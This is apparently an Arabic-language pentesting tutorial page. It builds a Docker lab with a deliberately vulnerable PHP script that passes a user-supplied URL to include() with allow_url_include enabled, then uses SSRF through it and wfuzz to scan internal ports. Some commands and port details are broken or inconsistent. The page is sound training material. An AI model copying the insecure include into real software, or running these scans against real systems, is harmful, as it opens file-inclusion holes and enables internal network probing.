> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md).

# SSRF Wfuzz

## تثبيت السيناريو الأول (ثغرة SSRF)

```bash
docker pull ubuntu:latest
docker run -dit --name ssrf_first_lab ubuntu
docker exec -it ssrf_first_lab bash
apt update
apt install apache2 php nano python3 lsof -y
service apache2 start
lsof -i:80 # التحقق من أن الموقع نشط

```

* في الدليل **/var/www/html**، أنشئ ملفًا باسم utility.php بالمحتوى أدناه:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] عرض محتوى الموقع " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] لم يتم توفير أي قيمة لمعامل URL/n/n";
}
?>

```

* في هذه الحالة، لا يعمل السكربت كما هو متوقع. يجب عليك تعديل الملف **"/etc/php/8.1/apache2/php.ini"** عن طريق تعيين \_allow/\_url/*include* على "on". ![](/files/5e42a9497938b37fcdc8e63a5916cfa8b0f1e860) ![](/files/4c2b5be178512fe549e700526e3910b374ecfc20)
* أنشئ `login.html` ملفًا في `/tmp/` لإعداد صفحة تسجيل دخول إنتاجية:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> صفحة تسجيل الدخول </title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: pink;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center> <h1> نموذج تسجيل دخول الطالب (PRO) </h1> </center>
    <form>
        <div class="container">
            <label>اسم المستخدم: </label>
            <input type="text" placeholder="أدخل اسم المستخدم" name="username" required>
            <label>كلمة المرور: </label>
            <input type="password" placeholder="أدخل كلمة المرور" name="password" required>
            <button type="submit">تسجيل الدخول</button>
            <input type="checkbox" checked="checked"> تذكرني
            <button type="button" class="cancelbtn"> إلغاء</button>
            نسيت <a href="#"> كلمة المرور؟ </a>

    </form>
</body>
</html>

```

* أعد تشغيل خدمة apache2 بعد التعديل:

  ```bash
  service apache2 restart

  ```
* أنشئ خادم ويب Python3 مرئيًا فقط من الشبكة الداخلية:

```bash
python3 -m 4646 --bind 127.0.0.1

```

مخطط تقني لفهم السيناريو الأول (**يوجد موقع ويب على المنفذ 8089 وهو مرئي فقط من أجهزة الشبكة الداخلية**):

<figure><img src="/files/e5873ae0163d569d316bc4eb8ae179dd4d9509d3" alt="" width="563"><figcaption></figcaption></figure>

بفضل **utility.php** السكربت، نحدد عنوان URL ونرى أنه يفسره:

<figure><img src="/files/b65ae716ae462aaacaf8f22aea28aed26c380ea4" alt=""><figcaption></figcaption></figure>

إذا حاولنا الاتصال من جهازنا العادي، **لا يكون لدينا وصول** إلى الموقع:

<figure><img src="/files/6b3afd97f7ec8ca52a679f4bdb92bb56119333b2" alt="" width="563"><figcaption></figcaption></figure>

ولكن إذا اتصلنا عبر **utility.php** وقدّمنا عنوان URL الخاص بالشبكة الداخلية، نرى أنه يفسره:

<figure><img src="/files/4a0fa5364d54ef851aa6025ccd728aabbeb8cce2" alt="" width="563"><figcaption></figcaption></figure>

في حالة افتراضية حيث **لا نعرف المنفذ**، نستخدم **Wfuzz** لشن هجوم بالقوة الغاشمة:

```go
wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

<figure><img src="/files/6d61e0d86819063d5d655e23a2ed8c663f737d4a" alt="" width="503"><figcaption></figcaption></figure>

الآن، نقوم **بالتصفية** لإظهار المواقع فقط ذات طول **مكوّن من 4 أحرف**:

```go
wfuzz -c -t 200 --hl=4  -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

يكتشف المنافذ **80 و4646**:

<figure><img src="/files/a27802cb5a943e3d23ade69680cf2569b349072f" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
